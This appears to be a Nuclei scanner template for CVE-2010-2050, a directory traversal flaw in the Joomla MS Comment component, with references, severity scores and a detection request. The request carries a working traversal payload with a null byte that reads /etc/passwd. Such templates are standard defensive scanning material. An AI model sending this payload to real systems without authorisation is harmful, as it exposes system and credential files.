CVE-2010-2050: Joomla! Component MS Comment 0.8.0b - Local File Inclusion

id: CVE-2010-2050

info:
  name: Joomla! Component MS Comment 0.8.0b - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Moron Solutions MS Comment (com_mscomment) component 0.8.0b for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potentially execute arbitrary code.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12611
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2050
    - http://packetstormsecurity.org/1005-exploits/joomlamscomment-lfi.txt
    - http://www.vupen.com/english/advisories/2010/1159
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58619
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2050
    cwe-id: CWE-22
    epss-score: 0.01775
    epss-percentile: 0.82027
    cpe: cpe:2.3:a:m0r0n:com_mscomment:0.8.0:b:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: m0r0n
    product: com_mscomment
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,m0r0n

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_mscomment&controller=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402206fc2bf1ec54c812818ee64aa7aeaf1c3988b9000a13d1f35c8ca9731c22f225b02205e9ce25f6defecdf8e6139841e6ba3f0c7056ee1ad9d10e7857c4436c6198af8:922c64590222798bb761d5b6d8e72950